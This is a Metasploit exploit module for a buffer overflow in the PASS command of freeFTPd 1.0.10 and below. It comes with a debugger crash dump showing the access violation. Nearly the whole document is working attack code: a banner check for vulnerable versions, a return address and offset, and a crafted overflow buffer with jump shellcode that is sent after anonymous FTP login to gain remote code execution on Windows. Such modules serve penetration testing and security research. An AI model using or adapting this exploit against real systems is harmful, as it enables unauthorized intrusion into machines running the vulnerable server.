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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Ftp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => "freeFTPd PASS Command Buffer Overflow",
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        'Description' => %q{
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          freeFTPd 1.0.10 and below contains an overflow condition that is triggered as
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          user-supplied input is not properly validated when handling a specially crafted
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          PASS command. This may allow a remote attacker to cause a buffer overflow,
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          resulting in a denial of service or allow the execution of arbitrary code.
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          freeFTPd must have an account set to authorization anonymous user account.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Wireghoul', # Initial discovery, PoC
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          'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
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        ],
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        'References' => [
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          ['OSVDB', '96517'],
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          ['EDB', '27747'],
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          ['BID', '61905']
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        ],
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        'Payload' => {
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          'BadChars' => "\x00\x0a\x0d",
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        },
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        'Platform' => 'win',
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        'Arch' => ARCH_X86,
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        'Targets' => [
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          [
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            'freeFTPd 1.0.10 and below on Windows Desktop Version',
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            {
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              'Ret' => 0x004014bb, # pop edi # pop esi # ret 0x04 [FreeFTPDService.exe]
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              'Offset' => 801,
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            }
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          ],
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        ],
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        'Privileged' => false,
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        'DisclosureDate' => '2013-08-20',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([
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      OptString.new('FTPUSER', [ true, 'The username to authenticate with', 'anonymous' ], fallbacks: ['USERNAME']),
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    ])
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    # We're triggering the bug via the PASS command, no point to have pass as configurable
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    # option.
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    deregister_options('FTPPASS')
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  end
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  def check
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    connect
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    disconnect
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    # All versions including and above version 1.0 report "220 Hello, I'm freeFTPd 1.0"
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    # when banner grabbing.
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    if banner =~ /freeFTPd 1\.0/
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      return Exploit::CheckCode::Appears
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    else
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      return Exploit::CheckCode::Safe
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    end
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  end
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  def exploit
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    connect
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    print_status("Trying target #{target.name} with user #{user()}...")
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    off = target['Offset'] - 9
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    bof = payload.encoded
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    bof << rand_text(off - payload.encoded.length)
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    bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string
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    bof << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string
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    bof << rand_text(2)
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    bof << [target.ret].pack('V')
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    send_user(datastore['FTPUSER'])
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    raw_send("PASS #{bof}\r\n")
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    disconnect
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  end
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end
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=begin
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(c78.ea4): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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eax=0012b324 ebx=01805f28 ecx=00000019 edx=00000057 esi=4141413d edi=00181e18
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eip=76c23e8d esp=0012b310 ebp=0012b328 iopl=0         nv up ei pl nz na pe nc
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cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
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OLEAUT32!SysFreeString+0x55:
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76c23e8d ff36            push    dword ptr [esi]      ds:0023:4141413d=????????
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FAULTING_IP:
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OLEAUT32!SysFreeString+55
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76c23e8d ff36            push    dword ptr [esi]
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EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
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ExceptionAddress: 76c23e8d (OLEAUT32!SysFreeString+0x00000055)
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   ExceptionCode: c0000005 (Access violation)
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  ExceptionFlags: 00000000
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NumberParameters: 2
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   Parameter[0]: 00000000
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   Parameter[1]: 4141413d
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Attempt to read from address 4141413d
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=end
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